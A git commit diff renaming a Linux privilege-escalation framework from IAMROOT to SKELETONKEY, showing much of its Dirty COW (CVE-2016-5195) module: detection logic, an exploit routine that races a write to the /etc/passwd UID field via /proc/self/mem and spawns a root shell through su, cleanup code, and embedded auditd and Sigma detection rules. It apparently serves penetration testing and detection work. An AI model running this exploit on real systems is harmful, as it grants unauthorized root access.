rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -13,7 +13,7 @@ the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## IAMROOT role
## SKELETONKEY role
Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
@@ -1,12 +0,0 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif
@@ -1,5 +1,5 @@
/*
* dirty_cow_cve_2016_5195 IAMROOT module
* dirty_cow_cve_2016_5195 SKELETONKEY module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,7 +41,7 @@
* - execve(su) shell with uid=0
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
}
}
/* ---- iamroot interface ---- */
/* ---- skeletonkey interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
struct passwd *pw = getpwuid(geteuid());
if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
off_t uid_off;
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Embedded detection rules ---- */
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n"
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = {
const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_cow(void)
void skeletonkey_register_dirty_cow(void)
{
iamroot_register(&dirty_cow_module);
skeletonkey_register(&dirty_cow_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
#define DIRTY_COW_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_cow_module;
#endif